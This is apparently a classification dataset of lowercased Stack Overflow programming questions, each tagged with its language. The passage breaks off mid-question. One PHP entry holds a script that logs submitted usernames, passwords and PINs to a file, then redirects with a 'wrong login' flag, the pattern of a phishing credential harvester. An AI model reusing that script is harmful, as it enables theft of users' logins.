compiling an objective-c program  i m having problems compiling the following program. i m using  gcc -framework foundation inherit8.1m  and get the following errors. what am i doing wrong  thanks.   <blockquote>    ld warning: in inherit8.1m  file is   not of required architecture undefined   symbols:    _main   referenced from:         start in crt1.10.5.o ld: symbol(s) not found collect2: ld   returned 1 exit status  </blockquote>  <pre><code>// simple example to illustrate inheritance   #import &lt;foundation/foundation.h&gt;  // classa declaration and definition  @interface classa: nsobject {    int  x; }  -(void) initvar; @end  @implementation classa -(void) initvar {   x = 100; } @end  // class b declaration and definition  @interface classb : classa -(void) printvar; @end  @implementation classb -(void) printvar {   nslog (@ x = %i   x); } @end  int main (int argc  char *argv[]) {    nsautoreleasepool * pool = [[nsautoreleasepool alloc] init];     classb  *b = [[classb alloc] init];     [b initvar];     // will use inherited method    [b printvar];    // reveal value of x;     [b release];     [pool drain];    return 0; } </code></pre>,objective-c
ipad splash screen doesn t rotate  i would like to be able to rotate my splash screen on my ipad to landscape right and left.  i have enabled landscape right and left orientation in my .plist file. i ve added 4 files for the landscaperight and landscapeleft:   <pre><code>default-landscaperight@2x~ipad.png default-landscapeleft@2x~ipad.png default-landscaperight~ipad.png  default-landscapeleft~ipad.png </code></pre>   although this shouldn t matter  in my rootviewcontroller i ve got:   <pre><code>- (bool)shouldautorotatetointerfaceorientation:(uiinterfaceorientation)interfaceorientation { return (interfaceorientation == uiinterfaceorientationlandscaperight || interfaceorientation == uiinterfaceorientationlandscapeleft);      return ( uiinterfaceorientationislandscape( interfaceorientation ) ); } </code></pre>   the splash screen loads  but it doesn t rotate. what am i doing wrong,ios
how to use two filters in angular js   i have input field:   <pre><code>&lt;input type= text  ng-model= in &gt; </code></pre>   also select list:   <pre><code>&lt;select ng-model= sel &gt;&lt;/select&gt; </code></pre>   how i can use two filters in <code>ng-repeat</code> something like:   <pre><code>ng-repeat= item in arr | filter:sel | filter:in  </code></pre>   my select list in header:   <pre><code>&lt;div ng-controller= testcontroller &gt;    &lt;select ng-controller= in &gt;&lt;/select&gt; &lt;/div&gt; </code></pre>   also in bottom of page i have:   <pre><code>&lt;div ng-controller= testcontroller &gt;{{in}}&lt;/div&gt; </code></pre>   but <code>{{in}}</code> is empty,angularjs
how to iterate through an enumerate object and print all the index-item pairs using next() function   i have the following program   <pre><code>enum1 = enumerate( this is the test string .split()) </code></pre>   i need to iterate through enum1 and print all the index-item pairs by using next() function.    i try to get the index-item pairs by doing the following   <pre><code>for i in range(len(enum1)):     print enum1.next() </code></pre>   it throws me an error showing <code>len()</code> can t be applied to an enumeration.    could anyone suggest me any such way by which i would be able to iterate through this enum to print all the index-item pairs using <code>next()</code> function     note: my requirement is to use <code>next()</code> function to retrieve the index-item pairs,python
send popup in desktop application from asp.net web page  i have a web application and on that application i update a sql database ...what i want is that when i update the database from the web application a notification will be sent to any one openening my application or a pop up appears to them on their desktop informing them that the database is updated to check all this will be in an intranet. i m using asp.net and i m the admin for all the pcs in the network and the server. does anyone knows how i can do this,asp.net
i want to write a code that can take two numbers and create a txt file between those numbers in decreasing order  here is the code   <pre><code>import os myfile  = ( filename.txt    wb )  a = int(input( integer a:  )) b = int(input( integer b:  ))  def cal(a b):     while a&gt;b:         a = a-1         print a  c = str(cal(a b)) print c  myfile.writelines(c) </code></pre>   i am getting only last word written in file.  please someone help me.,python
getting nullpointerexception while putting data in hashtable  i have invoked the web service method which gives the list of students information.   <pre><code>studentsinfo si = getinfo(username  rollno  class); // web service method invoked hashtable hashstudlist = new hashtable(); int size = si.getinfo().size();  for (int i=0;i&lt;size;i++) {     studentslist st = new studentslist();     string id = si.getinfo().get(i).getstid().tostring();     st.setid(id);     st.setname(si.getinfo().get(i).getstname().tostring());     st.setaddress(si.getinfo().get(i).getstaddress().tostring());     st.setphone(si.getinfo().get(i).getstphone().tostring());     // ...     hashstudlist.put(id  st); } </code></pre>   studentslist is the bean class containing getter and setter. but it gives null pointer exception at    <pre><code>string id = si.getinfo().get(i).getstid().tostring();  </code></pre>   while executing it.,java
is there a way to automate conversion from word phonetic guides to html <ruby>   i have a number of japanese songs i translated into italian and possibly other languages  and i put furigana (pronunciation in hiragana) on every kanji via the phonetic guide function in microsoft word. all of these will sooner or later have to end up <a href= http://michelegorini.blogspot.it/2017/09/blog-index.html  rel= nofollow noreferrer >on my blog</a>  which obviously means either losing the phonetic guide or painstakingly typing <code>&lt;ruby&gt;</code>  <code>&lt;rt&gt;</code> and <code>&lt;/rt&gt;&lt;/ruby&gt;</code> a million times to convert the phonetic guide into <code>&lt;ruby&gt;</code> and have it appear in the posts. i am using a macbook pro with os x 10.9.5 mavericks installed  in case it is of use. i was wondering: is there a way to make this conversion automatic     sorry  this may be <a href= /questions/tagged/plz-send-teh-codez  class= post-tag  title= show questions tagged &#39;plz-send-teh-codez&#39;  rel= tag >plz-send-teh-codez</a>  but i don t know where else to look  since googling  converting word phonetic guide to html ruby  doesn t seem to get useful results… should i just ask on quora  and get the question marked as needs editing with a 50% change  what is best  near-100% closing chance or 50% needs editing chance  hmm…    i honestly have no idea what language i want to use  but java would at least be somewhat familiar since i ve taken two courses on it a few years ago.,html
ios: downloading xml/json to change how a game functions   i m wondering if this violates apples terms or not. basically what i m considering is essentially a way to mod a game. the app would be able to download a set of xml/json files from my server that would change things like say how many hitpoints a monster has or something like that. from what i can tell this is completely fine  however the part i m not sure on is something like monster actions.    lets say i wanted to give the ability for monsters to change how they react to something. so lets say in xml/json you could define something like oh an event where on monster hp change there is a 20% change to cast heal. that is sort of script but it would really just be raw data. the app on the iphone/ipad would execute it and you would not be able to insert any custom script only what the app allows.    here is a really rough example of what i mean if that helps:   <pre><code>{     event: {         type:  hpchange           range:  &lt;50%           cast: {             spell:  heal               chance: .2         }     } } </code></pre>   so essentially what this would mean is when the monsters hp changes  if its less than 50% there is a 20% chance to cast heal. so essentially is this something that would violate apple s terms,ios
how to restart all data on an app   wrong ^ read the post before downvoting or making an edit like this.    i am making a game in which the user can restart their progress from the beginning. this should clear all primitive variables and nsuserdefaults.    is there a fast and efficient way to do this  other than just calling <code>points = 0</code>  etc.. for every variable i have  the nsuserdefaults is easy enough to clear  but i m not sure how i should clear everything else. especially with updating labels and everything  i d have to set up a few delegates and it s something messy that would be a pain to do.    is there a way to just restart the app back to how it was when initially downloaded  <strong>kind of like the reset all content and settings option on ios simulator  but programatically</strong>,ios
when i try load an image  unknown host exception in android  when i try to load an image into android it gives me the following error   <pre><code>06-10 11:08:50.217: warn/system.err(868): java.net.unknownhostexception: nopsa.hiit.fi 06-10 11:08:50.217: warn/system.err(868):     at java.net.inetaddress.lookuphostbyname(inetaddress.java:497) 06-10 11:08:50.217: warn/system.err(868):     at java.net.inetaddress.getallbynameimpl(inetaddress.java:294) 06-10 11:08:50.217: warn/system.err(868):     at java.net.inetaddress.getallbyname(inetaddress.java:256) 06-10 11:08:50.237: warn/system.err(868):     at org.apache.harmony.luni.internal.net.www.protocol.http.httpconnection.&lt;init&gt;(httpconnection.java:69) 06-10 11:08:50.237: warn/system.err(868):     at org.apache.harmony.luni.internal.net.www.protocol.http.httpconnection.&lt;init&gt;(httpconnection.java:48) 06-10 11:08:50.272: warn/system.err(868):     at org.apache.harmony.luni.internal.net.www.protocol.http.httpconnection$address.connect(httpconnection.java:322) 06-10 11:08:50.272: warn/system.err(868):     at org.apache.harmony.luni.internal.net.www.protocol.http.httpconnectionpool.get(httpconnectionpool.java:89) 06-10 11:08:50.272: warn/system.err(868):     at org.apache.harmony.luni.internal.net.www.protocol.http.httpurlconnectionimpl.gethttpconnection(httpurlconnectionimpl.java:285) 06-10 11:08:50.277: warn/system.err(868):     at org.apache.harmony.luni.internal.net.www.protocol.http.httpurlconnectionimpl.makeconnection(httpurlconnectionimpl.java:267) 06-10 11:08:50.277: warn/system.err(868):     at org.apache.harmony.luni.internal.net.www.protocol.http.httpurlconnectionimpl.retrieveresponse(httpurlconnectionimpl.java:1018) 06-10 11:08:50.297: warn/system.err(868):     at org.apache.harmony.luni.internal.net.www.protocol.http.httpurlconnectionimpl.getinputstream(httpurlconnectionimpl.java:512) </code></pre>   the file i m trying to access is <a href= http://nopsa.hiit.fi/pmg/viewer/images/thumb_132750728_8f0342f1ac_t.jpg  rel= nofollow >http://nopsa.hiit.fi/pmg/viewer/images/thumb_132750728_8f0342f1ac_t.jpg</a>    and the code i used inside ondraw() is following   <pre><code>try {    url url = new url(collectable.geticon_url());                         httpurlconnection connection  = (httpurlconnection) url.openconnection();    inputstream is = connection.getinputstream();    bitmap img = bitmapfactory.decodestream(is);                     canvas.drawbitmap(img  100  100   null); } catch (exception e) {    log.d(tag   image load failed );    e.printstacktrace(); } </code></pre>,android
not understanding why this program isn t working   the program i m making is supposed to print strings out that only end in  ed . this is what i have so far  but i don t understand why it doesn t work.  am i misunderstanding the logic behind the for loop with the if statement or am i just going about this wrong completely    <pre><code>#include &lt;stdio.h&gt; #include &lt;string.h&gt;  int main ()  {      char string[10][100];      int i;       for ( i =0; i&lt;=10; i++)     {         printf(  please enter a string for the array \n );         fgets( string[i]  100  stdin);      }       int length = strlen(string[i]);       for ( i=0; i&lt;=10; i++)     {         if( string[i][length] ==  d  &amp;&amp; string[i][length -1] ==  e  )        {            printf(  index %d: %s \n   i   string[i]);         }       }      return 0;  } </code></pre>   thanks for all the input guys! however  the program is still not outputting strings that end in ed  when i enter them through the keyboard  it compiles just fine. here s what i have modified:    <pre><code>#include &lt;stdio.h&gt; #include &lt;string.h&gt;  int main ()  {    char string[10][100];    int i;   int length;    for ( i =0; i &lt; 10; i++)   {       printf(  please enter a string for the array \n );       fgets( string[i]  100  stdin);    }     for ( i=0; i&lt; 10; i++)   {       length = strlen(string[i]);        if( length &gt; 1 &amp;&amp; (string[i][length - 1] ==  d  &amp;&amp; string[i][length -2] ==  e ) )      {          printf(  index %d: %s \n   i   string[i]);       }     }     return 0;      } </code></pre>,c
angularjs show button on model change  i got a model in a ng-repeat :   <pre><code>&lt;tr ng-repeat= expert in experts &gt;                 &lt;td&gt;{{expert.expertname}}&lt;/td&gt;                 &lt;td ng-mouseleave= editmode = false &gt;                     &lt;span ng-hide= editmode  ng-click= editmode = !editmode &gt;{{expert.mail}}&lt;/span&gt;                     &lt;input class= width100  type= text  ng-show= editmode  value= {{expert.mail}}  /&gt;                 &lt;/td&gt;                 &lt;td&gt;&lt;input class= width100  type= checkbox  ng-model= expert.locked  ng-click= showsavebutton = ! showsavebutton /&gt;&lt;/td&gt;                 &lt;td class= width100 &gt;                     &lt;input type= button  class= btn btn-primary btn-success  ng-show= showsavebutton  value= save  ng-click= confirmsave(expert)  /&gt;                     &lt;input type= button  class= btn-warning btn-primary btn  value= generate  ng-click=   /&gt;                 &lt;/td&gt;             &lt;/tr&gt; </code></pre>   when i update a model (eg expert.locked or mail changed) i want to show the save button for this model. i googled and found nothing.    can anyone help me      edit : the save button <code>&lt;input type= button  class= btn btn-primary btn-success  ng-show= showsavebutton  value= save  ng-click= confirmsave(expert)  /&gt;</code> has to be shown when the expert.mail or expert.locked changes,angularjs
alphabetic gesture recognition in ios  i am working on detecting alphabetic gestures in my app. so when the user draws a c in the screen c should be displayed on a label and so on.  how to detect which alphabet is drawn by user,ios
jquery hover image change animation  i have an img tag with a grayscale image. i hooked up a hover() event in order to change the  src  to a color image on hover  and back to grayscale on mouse-out.     this works just fine  however the change is abrupt. i d like to add a slight fadein() to the effect so that the color appears to fadein and fadeout. i wrote the following which i thought would work  but doesn t. (the image changes  but there is no fade or delay to the effect). what am i doing wrong    <pre><code>            $( #showform ).hover(               function () {                 $(this).fadein( slow   function(){                     $(this).attr( src    images/addbuttonsmall.gif );                 });               }                 function () {                 $(this).fadein( slow   function(){                     $(this).attr( src    images/addbuttonsmallgray.gif );                 });               }             ); </code></pre>,jquery
is it possible to apply color effects to an image   any one guide me is it possible to apply color effects to an image using php     as mentioned in the screen shot i want to select ice black crystal etc.. color effect from the top and it should be applied to image selected below     <img src= https://i.stack.imgur.com/f2utz.png  alt= enter image description here >    or any useful solution     any help would be appreciated.,php
why is css not positioning correctly   i have designed picture 1 in photoshop which is what i was planning in the html.    i added the float to all elements but for some reason i don t understand it starts breaking the divs (picture 2)... am i missing something obvious here     [![enter image description here][1]][1]   <pre><code>&lt;div style= width: 974px; margin: 0 auto; background-color: white; padding: 0px;border: 0px solid black; &gt;     &lt;div style= margin: 10px 0px 10px 0px; top: 0px; left: 0px; float: left;border: 1px solid black; &gt;         &lt;a href= /main/ &gt;             &lt;img src= http://s10.postimg.org/7qbv2a6jd/tb_logo_site3.png  width= 180  height= 86  /&gt;         &lt;/a&gt;     &lt;/div&gt;      &lt;div style= float:right;margin-top:10px;border: 1px solid black; &gt;         &lt;img src= http://s10.postimg.org/h8bm2bs7t/patreon_site3.png  width= 280  height= 42  /&gt;     &lt;/div&gt;      &lt;div style= clear:both; &gt;&lt;/div&gt;      &lt;div style= margin-top:35px;margin-left:60px;float: left;border: 1px solid black; &gt;         &lt;img src= http://s10.postimg.org/q9uqtofix/poster_1_site3.png  width= 300  height= 496  /&gt;     &lt;/div&gt;      &lt;div style= float:left;margin-top:0px;margin-left:30px;border: 1px solid black; &gt;         &lt;img src= http://s10.postimg.org/h9ljvqu1l/paper_soho_title_site3.png  width= 400  height= 114  /&gt;     &lt;/div&gt;      &lt;div style= float:left;margin-top:0px;margin-left:30px;border: 1px solid black; &gt;         &lt;img src= http://s10.postimg.org/mfwp6s8t5/fist_page_icon_site3.png  /&gt;     &lt;/div&gt;      &lt;div style= float:left;margin-top:0px;margin-left:30px;border: 1px solid black; &gt;          &lt;img src= http://s10.postimg.org/4m175hpqx/first_page_site3.png  /&gt;     &lt;/div&gt;       &lt;div style= float:left;margin-top:0px;margin-left:30px;border: 1px solid black; &gt;         &lt;img src= http://s10.postimg.org/7mi1m1121/last_page_icon_site3.png  /&gt;     &lt;/div&gt;      &lt;div style= float:left;margin-top:0px;margin-left:30px;border: 1px solid black; &gt;          &lt;img src= http://s10.postimg.org/6vpbg8yop/last_page_site3.png  /&gt;     &lt;/div&gt;    &lt;/div&gt; </code></pre>,css
show parent name in child view  something what should really be easy and i can t get it to work... i have a relation which has_many contacts and contact belongs_to relation. now i want to show the relation name in the contact index view. in the contacts controller i have this:   <pre><code>@contacts = contact.paginate :page     =&gt; params[:page]                               :include  =&gt; :relations                               :per_page =&gt; 10                               :order    =&gt;  last_name  </code></pre>   now i expect in the index view to be able to use this:   <pre><code>&lt;%= contact.relation.name %&gt; </code></pre>   but it returns a <code>undefined method  name  for nil:nilclass</code> error  thanks for your help!,ruby-on-rails
counting related fields in two tables  i have these two tables.    foo   <pre><code>+----+--------+ | id | letter |  | 1  | a      |  | 2  | b      |  | 3  | c      | | 4  | d      | +----+--------+ </code></pre>   bar   <pre><code>+----+------+--------+--------+ | id | name | foo_id | status | | 1  | fox  | 1      | 1      | | 2  | cat  | 1      | 0      | | 3  | dog  | 3      | 1      | | 4  | bird | 5      | 1      | | 5  | cow  | 5      | 0      | +----+------+--------+--------+ </code></pre>   now  i want to count the occurrences of the letter in the bar table with only status equals 1    so <code>left join</code> states     <code>the left join keyword returns all rows from the left table (table1)  with the matching rows in the right table (table2). the result is null in the right side when there is no match.</code>     this is the result i want.   <pre><code>+--------+-------+ | letter | count | | a      | 1     | | b      | 0     | | c      | 1     | | d      | 0     | | e      | 1     | +--------+-------+ </code></pre>   what i have tried so far.   <pre><code>select letter  count(foo_id) as count from foo f left join bar b on f.id = b.foo_id group by letter </code></pre>   i know my query is wrong because it does not filter the status with 1. but when i try to add <code>where status = 1</code> to my query. seems off.    what should be the query to achieve my desired result,mysql
facing issue of single quotes in fckeditor  i want to enter single quotes in database through fckeditor..but my code is not work for me.      insert into $user             (id question option1 option2 option3 option4 correctanswer category section chapter)             values             (              .   $newstd   .                   . htmlspecialchars($_post[ fckeditor0 ] ent_quotes) .                   . htmlspecialchars($_post[ fckeditor1 ] ent_quotes) .                   . htmlspecialchars($_post[ fckeditor2 ] ent_quotes) .                   . htmlspecialchars($_post[ fckeditor3 ] ent_quotes) .                   . htmlspecialchars($_post[ fckeditor4 ] ent_quotes) .                    . htmlspecialchars($_request[ correctans ] ent_quotes) .                   . htmlspecialchars($_request[ myradio ] ent_quotes) .                  . htmlspecialchars($_request[ section ] ent_quotes) .                  . htmlspecialchars($_request[ chapter ] ent_quotes) .<br>              ) ;    thank you ...,php
how do i create a multidimensional tree array from a flat array    i have this flat array:   <pre><code>$folders = [    test/something.txt      test/hello.txt      test/another-folder/myfile.txt      test/another-folder/kamil.txt      test/another-folder/john/hi.txt  ] </code></pre>   and i need it in the following format:   <pre><code>$folders = [    test  =&gt; [       something.txt         hello.txt         another-folder  =&gt; [         myfile.txt           kamil.txt           john  =&gt; [           hi.txt         ]      ]    ] ]; </code></pre>   how do i do this  thanks.,php
multivariate copulas in python  i would like to compute a copula of a k-dimensional vector in python  where k > 2.    when k=2  i found the <a href= https://pypi.python.org/pypi/ambhas/0.4.0  rel= nofollow noreferrer >ambhas package</a>  which seems to work fine  but as far as i can tell it only applies to 2-dimensional  i.e.  bivariate  copulas.    after digging a bit more  i found <a href= http://pydoc.net/scikits.statsmodels/0.3.1/scikits.statsmodels.sandbox.distributions.copula/  rel= nofollow noreferrer >scikits.statsmodels</a> but it is in sandbox form as far as i can tell.    i could code this up manually myself  that s not an issue  but i was hoping to save myself the trouble of doing so by using a standard package.    is there a multivariate copula package in python available that i simply couldn t find,python
dynamic search box radio button filter values using jquery  i have a search box with radio button filters very like the yahoo search and filter elements where the user can refine there search by choosing on of the filters before searching.    when a user clicks on a filter i want a message to appear in the search box  such as  search all    search broadband  etc.    i have it working mostly. if you click on each filter the message appears correctly. the problem i have is the (default)  search all  message doesn t appear on page load.     below is the jquery i have so far   <pre><code>$( .searchfilters label ).click(function(){                                               var input = $( #searchid );                                               input.val( search  +$(this).text()).addclass( empty );     });      $( #searchform ).submit(function(){         var input = $( #searchid );         if(input.hasclass( empty )){             $( .searchfilters label ).val( enter search term );             input.blur();             $( #autocomplete ).css({ display : none });                      return false;         } else{             return true;         }     });     $( #searchid ).click(function(){         $(this).val(  ).removeclass( empty );            $( #autocomplete ).css({ display : block });     }); </code></pre>   thanks in advance for any help,jquery
definition of one asp.net application   how do you define <strong>one</strong> asp.net application  does it have to be built under one solution or does it have to be deployed under one application under iis      can multiple web projects be deployed under one iis application (so that they have access to each other s session  cache etc)      this is just a theoretical question.    <strong>update:</strong> what i am stressing on is what makes it <strong>one</strong> application.,asp.net
what s the best use you ve had with pointer to members and member functions   pointer to members are not used very much but they are really powerful  how have you used them and what s the coolest things you ve done     <strong>edit:</strong> this is not so much to list things that are possible  for example listing <em>boost::bind</em> and <em>boost::function</em> aren t good. instead maybe a cool usage with them  i know they re very cool in themselves but that s not what this is about.,c++
match strings with accents  i have a word (city name) that contains accented letters. i have a function that check if the city name is in an array  and if it is will return a value (if not wil lreturn another value). the word won t match any city (with accent) in the array even if the city is there. i printed out both of them and they show properly (no weird characters instead of the accent). what it might be  thanks   <pre><code>function searchpv($city){ require( pv_cap_array.php );  $city = str_replace(         $city); $city = str_replace( \       $city);      foreach($cap_pv_array as $key=&gt;$value){         if(strtolower($city) ==  strtolower($key))             return  vr ;         else             return  pv != vr ;     } } </code></pre>   array:   <pre><code>$cap_pv_array=array( affi =&gt; 37010                        dolcè =&gt; 37020  }; </code></pre>   edit    i removed the else statement and it works (even if i don t know why). seems like the return won t break the loop (it was going on evaluating the other options and returning  pv != vr     working code   <pre><code>foreach($cap_pv_array as $key =&gt; $value){         if(strtolower($city) ==  strtolower($key))             return  vr ;     } </code></pre>,php
sql - self join for latest row  here s the table:   <pre><code>    id -           date               - attempts     --------------------------------------------     1  -  2012-12-11 14:52:06.143     - success     2  -  2012-12-11 15:51:52.320     - whatever     3  -  2012-12-11 12:51:52.321     - success     4  -  2012-12-11 12:51:52.312     - whatever      5  -  2012-12-11 14:51:52.320     - fail </code></pre>   i am trying to get the latest  fail  and the latest  success  rows and then  of the two  see if the latest one was a failure (there can be success rows later than fail rows).    i can t just select the latest row  as it might be other than  success  or  fail .,sql
how to working in tree view child node click event in c#  i am working in treeview in which no option for the child node and parent node click event so plz suggest me to work on both click event    my code is   <pre><code>  private void treeview1_afterselect(object sender  treevieweventargs e)     {         if (treeview1.selectednode =  edit user )         {             label2.visible = true;          }         else         {             label2.visible = false;         }      } </code></pre>,c#
reading music file names with c++  is it at all possible to read song name from folder with c++  don t care about other libraries  additional programs. have noting against them  just that i have programmed c++ for a quite time and had given a task by a friend  sounds simple  but in reality  not so  and i want to do it. the task is to find out if the song  named in a text file  is in a folder as a .mp4  .avi....etc file. i know that  even that the names in the file and the names of songs are not exactly the same (lower case - upper case symbols  numeration in from of the name etc)  i could complete the task  if i could just read the name of the song in an array or string. really looking forward to this  thanks. choose c++  because its the most familiar to me  thought that it could be possible to read file names.    have a great day  -oskars,c++
how to associate object with its type  i m trying to create a statistics system in c++ which will allow me to associate a string with a value of an arbitrary type. currently  i have it working with an <code>enum</code> that keeps track of the type and a <code>void *</code> that points to the object  but this requires me to make individual <code>if</code> statements for all of the types i want to support. i d like to have it so that i can support any arbitrary type using some kind of template. i ve created some test code that sort of works  but there are issues:   <pre><code>class test {     std::type_index type;     void *value;  public:     template &lt;typename t&gt;     test(t val) : type(typeid(val)) {         t *val_p = new t;         *val_p = val;         value = (void *)val;     }      test() : type(typeid(void)) {         value = nullptr;     }      ~test() {         //no idea how i could make this work     }      template &lt;typename t&gt;     t get() {         if (std::type_index(typeid(t)) == type) {             t *val_p = (t *)value;             return *val_p;         } else {             throw std::bad_typeid();         }     } }; </code></pre>   what i have so far works  but i don t think it would be possible to implement a destructor or copy/move constructors. the whole point is i want to store this all in a single <code>std::unordered_map</code>  so i can t (afaik) just make a template class and go from there. so  is it possible to do what i m trying to do  and if so  how would i do it,c++
bar graph index label  i need to show index label for bar graph    here is the code:   <pre><code>var chart = amcharts.makechart(  chartdiv   {    hidecredits :true     type :  serial      theme :  light      dataprovider : [ {      status :  completed        visits : total   }  {      status :  on-going        visits : 1882   }  {      status :  procurement        visits : 1809   }  {      status :  ded prep        visits : 1322   }  {      status :  under prep        visits : 1122   }  {      status :  suspended        visits : 1114   }  {      status :  cancelled        visits : 984   }  {      status :  no status yet        visits : 711   } ]     valueaxes : [ {      gridcolor :  #ffffff        gridalpha : 0.2       dashlength : 0   } ]     gridabovegraphs : true     startduration : 1     graphs : [ {      balloontext :  [[category]]: &lt;b&gt;[[value]]&lt;/b&gt;        fillalphas : 0.8       linealpha : 0.2       type :  column        valuefield :  visits    } ]     chartcursor : {      categoryballoonenabled : false       cursoralpha : 0       zoomable : false   }     categoryfield :  status      categoryaxis : {      gridposition :  start        gridalpha : 0       tickposition :  start        ticklength : 20   }     export : {      enabled : true   }  } ); </code></pre>,javascript
how to apply a single query that sum column for individual values  i have 2 tables named <code>user</code> and <code>statistics</code>     <code>user</code> table has 3 columns: <code>id</code>  <code>name</code> and <code>category</code>    <code>statistics</code> table has 3 columns: <code>id</code>  <code>iduser</code> (relational)  <code>cal</code>    something like this:    <strong>user</strong>   <pre><code> id name  category  1  name1 1  2  name2 2  3  name3 3 </code></pre>   <strong>statistics</strong>   <pre><code>id iduser cal 1  1      1 2  1      1 3  1      1 4  2      1 5  2      1 </code></pre>   how can i apply a query that sum the <code>cal</code> column by each category of users and give me something like this:   <pre><code>category totalcal 1        3 2        2  3        0 </code></pre>,sql
how can i get the 2nd element of each subset without using a loop - python  i have an input:   <pre><code>temp = [[1 2]  [3 4]  [5 6]] </code></pre>   and i want the output as:   <pre><code>[2 4 6] </code></pre>   how can i do that <strong>without</strong> using a loop in <strong>python</strong>     is there something like temp[:][1]   (i.e. for all the subsets take the 2nd element)    <strong>please note:</strong> this is an example data. i need to do this for a much bigger dataset. so an implementation with good performance will be helpful.,python
mysql set the password for user  when i type <code>show grants for user</code> in mysql    then the sytem showed:   <pre><code>| grant usage on *.* to   @ %  identified by password  *1e80dd016234830553a761e48526725559582391  | | grant all privileges on `mydatabase`.`mytable` to  user @ %    </code></pre>   so i typed    <pre><code>grant all privileges on *.* to  user @ %  identified by  passwd ; </code></pre>   then the systemed showed    <pre><code> grant all privileges on *.* to  user @ %  identified by password  *ec75e3374932e7506ab7858a3b026e93fb8ed3df                                                                             grant all privileges on `mydatabase`.`mytable` to  user @ %  </code></pre>   why i set the password for <code>user</code> but there are two phenomenom:   <ol> <li> the hash code changed but my <code>passwd</code> secret didn t show in the table. </li> <li> <code>mysql -u user</code> it can log in to the server but <code>mysql -u user -p</code> then showed access denied  </li> </ol>,mysql
sql include and exclude query  i have table <em>t</em> that contains a person s name and the products they have:   <pre><code>name    product adam    a adam    b adam    c ben     c ben     d chris   b dave    a dave    b dave    c dave    d evan    a evan    b fred    a </code></pre>   and i want a sql query that returns name when the person has product a or b or both  and does not have either product c nor d (nor e  f  ...):   <pre><code>name chris evan fred </code></pre>   the actual  does not have  list i m working with is long  so i would like to avoid having to type in every single product name to exclude  if possible.    thanks in advance for your help.,sql
how could i remove the duplicate shared functions between controllers  i need to use the i18n translation functions betweens controllers.    so each controller should have the  <code>getcityname</code> and <code>getcountryname</code> to translate it into correct lang.    i tried to use angular service to reduce the duplication.    as you can see  i still need to define those functions in two controllers separately.    is it possible to remove the duplication of defining functions in controllers in my case     thanks   <h1>departure.html</h1>  <pre><code>  &lt;div  ng-repeat= departure in departures_lst &gt;     &lt;div class= panel-title &gt;       &lt;h5&gt;{{getcountryname(departure.country)}}&lt;/h5&gt;     &lt;/div&gt;             &lt;li  ng-repeat= city in departure.cities &gt;               &lt;a ng-click= get_destinations(city) &gt;                 {{getcityname(city)}}               &lt;/a&gt;            &lt;/li&gt;   &lt;/div&gt; </code></pre>  <h1>arrival.html</h1>  <pre><code>  &lt;div  ng-repeat= arrive in arrives_lst &gt;     &lt;div class= panel-title &gt;       &lt;h5&gt;{{getcountryname(arrive.country)}}&lt;/h5&gt;     &lt;/div&gt;             &lt;li  ng-repeat= city in arrive.cities &gt;               &lt;a ng-click= get_destinations(city) &gt;                 {{getcityname(city)}}               &lt;/a&gt;            &lt;/li&gt;   &lt;/div&gt; </code></pre>  <h1>angular js</h1>  <pre><code>app.service( i18nservice   function () {     this.getcountryname = function (country_name) {       return i18n.t( country.  + country_name) + country_name     }     this.getcityname = function (city_name) {       return i18n.t( city.  + city_name) + city_name     } });  app.controller( departures_ctrl   function($scope  i18nservice  $location  $http) {     $scope.getcountryname = function(country_name){       return i18nservice.getcountryname(country_name);     }     $scope.getcityname = function(city_name){       return i18nservice.getcityname(city_name);     } });  app.controller( arrivals_ctrl    function($scope  $route  i18nservice  $routeparams  $http  $window  $location) {     $scope.getcountryname = function(country_name){       return i18nservice.getcountryname(country_name);     }     $scope.getcityname = function(city_name){       return i18nservice.getcityname(city_name);     }   }); </code></pre>,angularjs
php error failed to open stream: permission denied  i m trying to make a qa write every username and password in my private website to a log file (for a learning purposes)     my code is:   <pre><code>&lt; php session_start();  if(isset($_post[ input1 ])){     $username = $_post[ input1 ]; }  if(isset($_post[ input2 ])){     $password = $_post[ input2 ]; }  if(isset($_post[ input3 ])){     $pin = $_post[ input3 ]; }  $fh = fopen( logs_  . date( d-m-y ) .  .txt   a ); $stringdata =  new stuff 1\n ; fwrite($fh  username:   . $username .  \n  .   password:   . $password .  \n  .   pin:   . $pin .  \n----------------------------\n ); fclose($fh);  header( location: index.php ); $_session[ wrong ] =  1 ;  &gt; </code></pre>   and i m getting the following error:   <pre><code>[24-oct-2016 02:58:23 utc] php warning:  fopen(logs_24-oct-2016.txt): failed to open stream: permission denied in /var/www/html/donea.php on line 16 [24-oct-2016 02:58:23 utc] php warning:  fwrite() expects parameter 1 to be resource  boolean given in /var/www/html/donea.php on line 18 [24-oct-2016 02:58:23 utc] php warning:  fclose() expects parameter 1 to be resource  boolean given in /var/www/html/donea.php on line 19 </code></pre>   it used to work perfectly before  but now i m getting this error  any ideas,php
what exactly does save/save! do   i ve noticed that a common error check line in rails is:   <pre><code>if @user.save! </code></pre>   rather than something like   <pre><code>save if save is successful  blah else  blah end </code></pre>   so my understanding of  if @user.save!  is that it both saves the object and returns true/false if it was successful.  if i call it later on  such as:   <pre><code>@user.save! if @user.save!   blah end </code></pre>   am i executing the save query twice,ruby-on-rails
std::logic_error when trying to return a std::string  i have written some code using a class that will display the measurements of a box. i am doing so by having the output in a <code>tostring()</code> method and it appears to be working but when i run the program i get the following error:    <pre><code>height: 1 width: 1 depth: 1terminate called after throwing an instance of  std::logic_error    what():  basic_string::_s_construct null not valid  this application has requested the runtime to terminate it in an unusual way. please contact the application s support team for more information. </code></pre>   then the program chrashes. also i ve noticed that the program doesn t display the volume after the 3 dimensions.    <strong>here is the code:</strong>   <pre><code>#include &lt;iostream&gt; #include &lt;iomanip&gt;      // for output formatting #include &lt;stdexcept&gt;    // for out_of_range #include &lt;sstream&gt;      // for stringstream #include &lt;string&gt; #include &lt;cstdlib&gt;      // for system()  using namespace std;  class box  {      public:         // constructors         box(double height=1  double width=1  double depth=1);          // mutators         void setheight(double height);         void setwidth(double width);         void setdepth(double depth);          // accessors         double getheight() const {return (boxheight);};         double getwidth() const {return (boxwidth);};         double getdepth() const {return (boxdepth);};         double getvolume() const;          string tostring() ;     private:         double boxheight;         double boxwidth;         double boxdepth;         double boxvolume; };  int main() {      cout &lt;&lt;  \nbox mesurement! ;     cout &lt;&lt;  \n=============== ;     cout &lt;&lt; endl;      box boxdem(true);  // where the string is displayed         cout &lt;&lt;  \n  &lt;&lt; boxdem.tostring();         cout&lt;&lt; endl;             cout &lt;&lt;  \n  &lt;&lt; boxdem.getvolume();      return 0; }  box::box(double height  double width  double depth) {     setheight(height);     setwidth(width);     setdepth(depth); }  void 